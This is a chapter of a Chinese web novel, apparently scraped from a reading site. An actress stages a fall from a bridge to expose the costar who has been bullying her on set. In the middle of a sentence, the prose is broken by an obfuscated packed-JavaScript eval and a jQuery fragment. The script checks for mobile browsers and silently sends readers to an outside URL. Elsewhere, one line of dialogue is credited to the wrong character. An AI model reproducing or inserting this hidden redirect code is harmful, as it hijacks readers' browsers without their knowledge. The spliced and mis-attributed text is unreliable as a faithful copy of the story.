41. 半丸月冷
    “吱——”

    蝉鸣阵阵。

    太阳晒得人睁不开眼。

    一座毫无树荫遮挡的石桥上。

    汗水冲刷着温温的眉睫,使她脸上泛起些许刺痛。

    四周静静的。

    全是蔫耷耷的叹息声。

    与温温同样热得发晕的,还有两百来号人。

    但不同的是。

    他们像是望夫石般,苦苦望着石桥尽头的一辆房车。

    或蹲或站的人群中,独有一名三十五六岁的清丽女人,坐在折叠小凳上。

    她实在忍不住地低骂了句,“她到底还要我们等多久?!”

    吱呀。

    话落,远处房车里跑出一个满面倦色的小姑娘。

    众人的眼睛亮了。

    小姑娘却是气喘吁吁地道:“对不起导演,怦然老师还是头晕,要再休息会儿。”

    四下一片唉声叹气。

    这是一个电影剧组。

    女主是怦然。

    这几百人,都是在等待怦然开拍下一场戏。

    导演白昼,霍地从折叠凳上站起身,“休息休息!她一天要歇多少回?!”

    “这都超出原本的拍摄时长两个月了!”

    怦然的助理局促地绞着手,只是一味道歉,重复道:“怦、怦然老师说,超出的部分,她会付赔款的。”

    白昼气极,“算了,我不为难你。”

    “我自己去找怦然。”

    走之前,白昼的视线,掠过热得七荤八素的众人,落在温温脸上。

    温温的神情,好似在空调房里般平心静气。

    身边的小助理,替温温打着遮阳伞。

    但这天儿太热了。

    温温依旧经历着脱妆、补妆的循环,脸蛋几乎被化妆师用粉扑拍扁。

    白昼心疼道:“你的脸还疼不疼?这么反复补妆,太伤皮肤了。等怦然来了再弄吧。”

    温温乖巧一笑,声音爽冽,听得人暑气顿消,“我没事的,导演。”

    温温很感谢白昼,给她这个拍戏的机会。

    《莺花》录制结束后。

    她与二十万失之交臂。

    经纪人那儿,又没什么工作资源可以分配给她。

    她为留学费用的事,焦虑得整夜失眠。

    这时候,《莺花》决赛上,唯一一个给她投了票的女导演,白昼,联系上了她,问她要不要来演个女三号。

    这位白昼导演,擅长拍女性题材,水平高,又耐得住性子打磨作品,绝不恰烂钱,口碑极佳。

    连怦然之前数次想请她导戏,都没成功。

    温温自是喜得应下。

    可惜,脚踏实地的创作人,终究是败给了资本家。

    温温进组没几天,就发现制片人与夏氏同流合污,强行命令白昼,将女主角换成了怦然。

    剧组里别的人倒还好。

    温温就倒霉了。

    自综艺一事以来,也不知怦然是哪根筋搭错,看温温的眼神,似是要将她生吞活剥一般。

    拍戏时,屡屡刁难于她。

    前不久,一场怦然坐在屋内、温温站在室外的戏份时,怦然还故意ng了三个小时,直让温温脸上晒得红肿蜕皮,两周都没缓过来。

    见温温毫无怨色,白昼愈发语气和软,“别逞强。”

    温温笑了笑,“我真没事,您快去吧,早些将怦然老师劝来,大家伙也好早些收工。”

    不是温温装好人。

    她是真不在意。

    今天,是温温最后一场戏。

    她申请考研的一切手续,都已完毕,片酬也早早拿到了,只等着下下周在国外考试即可。

    温温甚至迫不及待地定了明天的机票,要提前去往国外,尽情放飞自我。

    她现在高兴得能穿着草裙,跳三天三夜的肚皮舞呢。

    又怎会在意小小的酷热?

    白昼点点头,与怦然的助理一道儿,去了怦然房车内。

    温温脑袋上的伞影摇了摇。

    见人走远,温温身侧,一名替她打着伞的、眉目间透着机灵劲儿的小姑娘,把小脑袋靠了过来,暗戳戳问温温,“月梢老师,您说,导演这回能把那位大小姐劝过来么?”

    温温拿出手机,给考研的导师发着消息,漫不经心道:“会的。”

    潋星影视给温温分配的跟组小助理,山樱,又追问道:“您就这么肯定?”

    温温指尖一顿。

    左右要走了,她素来谨慎的性子,也有些宽疏起来,如实道:“我听说,怦然一直想参与李观书导演的戏。”

    “今天,李导演会来片场看她。”

    李观书是一名获得过各类国际电影奖的华裔导演。

    其在业界的分量,便是白昼,也远不可同日而语。

    山樱张大嘴,“这您都知道?”

    温温没说话。

    以她的身份,自是不知道的。

    但夏滢知道。

    自《莺花》结束的这半年来,夏滢天天给她发乱七八糟的自拍,会议厅里的、累得吐魂的、甚至是泡澡时的……

    照片后,顺带附上些“哥哥好坏,给我塞了一大堆工作,忙得我呼吸的时间都要没有了,好想找温温玩哦~”之类的话。

    温温本不想搭理,夏滢竟还拿雨天拍的那个视频,威胁她陪他聊天。

    李观书的事,就是夏滢告诉温温的。

    见温温不答,山樱也没追着不放,一个人碎碎念道:“哼,就她的演技,还想霍霍李导演?呸!”

    温温抬头,好笑道:“你这么仇恨怦然?”

    “她不就是在请剧组喝奶茶的时候,让助理把你的那杯撞翻了么。我都给你补了十来杯了。”

    李观书恶狠狠道:“是冰奶茶!”

    “而且,上次我还听到,她吩咐助理,把未成年粉丝辛苦攒钱送她的包,剪碎扔掉呢!说什么,这种货色,她一辈子都不会用。”

    温温疑惑:“为什么要剪碎?”

    山樱撇撇嘴,“还能为什么?她自己不要的东西,也不许别人捡漏。她怕她那助理,私下把包拿去用了或是卖掉呗!”

    温温:“……”

    吱呀。

    远处,房车门开,白昼与怦然一同下来。

    山樱惊道:“还真被您说中了!”

    她对温温咬耳朵道:“月梢老师,您可要小心点。上回,这大小姐还和导演说,要把今天的戏,改成把您推到这河里去呢。大家都听到了。”

    温温等人所在的石桥下,是一条飘满了石油似的黏稠污斑的河。

    ——曾有剧组为了拍摄效果,往河里倒化学试剂。

    这河闻着倒还好,可若是真下到河里去,不搓下一层皮,休想洗干净身上的脏东西。

    温温把手机放在常用的小包里,递给山樱保管,露出一个绵长的微笑,“大家都听到了才好呀。”

    山樱:“啊?”

    在导演的三催四请中,怦然终于不情不愿地来到桥上。

    温温的最

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12792773|131564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后一场戏份,开始了。

    温温是非科班出身,但许是因为吃足了生活的苦,在白昼的指导下,演得倒还比怦然好上不少。

    不怎么ng。

    不过今天。

    她却是ng连连。

    几次下来,怦然心烦气躁,原本没错的地方,也被温温带得出了差错。

    她声音尖厉,“你是不是故意的?!这么热的天,你晒得起,我还晒不起呢!”

    温温还想再拖一会儿,目光一瞥,却是闭上了嘴。

    ——李观书到了。

    李观书是个头发花白的老爷子,虽是到了片场,却没有打扰剧组的意思,只远远地站在树荫里。

    并没和怦然打招呼。

    温温见好就收,正常演起戏来。

    这是场女主与女三吵架推搡的戏。

    原本,温温被一把推在地上,就算戏份结束。

    然而,下一秒。

    “噗通——”

    怦然愣愣看着自己空空的掌间。

    “月梢被推下去了!”

    “谁会游泳,快下去救人!”

    四周脚步声、惊呼声杂遝。

    片刻后,怦然反应过来,“不是我推她的!她游泳可厉害了!你们被骗了!”

    温温刻意装作溺水般,扑腾了一会儿,渐渐沉入水中,才被工作人员救了上来。

    怦然还在向周围解释着,一转头,却发现李观书不知何时到了,脸色煞白。

    怦然解释得嘴皮都要起火星子。

    可没人信她。

    这几个月里,她对温温明里暗里的欺压,说是恶婆婆磋磨小媳妇也不为过。

    甚至,周围人都是一副敢怒不敢言的表情。

    李观书活了这么些年,什么场面没见过,什么人摸不透,一看周围人的反应,就明白怦然素日的做派了。

    他捋了捋花白的胡子,用口音不太标准的中文道:“怦然小姐,气性有些大啊。”

    “拍戏是团队合作,您这样,可是拍不好戏的。”

    怦然又急又气,暗暗掐着温温的手臂,笑道:“我怎么会推你呢?你快解释一下。”

    “别忘了,你还是潋星的艺人呢。”

    由于怦然拖得时间太长,温温在潋星的合同,早在一个月前就到期了。

    温温裹在毛巾毯,畏惧地看了怦然一眼,瑟瑟发抖道:“嗯、嗯!不是怦然老师推的我!大家都误会了。”

    可是,从众人的角度看,就是怦然推的温温。

    温温算的角度很准。

    除非,是从石桥旁的佛塔上俯瞰,才能勉强看出一丝端倪。

    但她来时就检查过了。

    由于剧组清场,佛塔里根本没人。

    但凡有点儿话语权的导演,都极厌恶事儿妈演员。

    李观书登时起了身,“抱歉,怦然小姐,我还有事,下次再约吧。”

    与此同时。

    温温的戏份也算杀青了,顶着一身黑黝黝的化学油花,接过工作人员手中的花束,笑得灿烂,“谢谢大家几个月来的照顾。”

    见温温若无其事地就要离开片场,怦然气得声音发颤,给助理使了个眼色拦人,“温!温!”

    温温虽扳回了一局,心中却也没什么快意,正想说些什么。

    一回眸,余光滑过石桥边的佛塔,却是浑身一僵。

    高塔之上,檐角风铎,随风玎珰乱晃。

    一道温温再熟悉不过的身影,在朱栏边默默不知看了多久。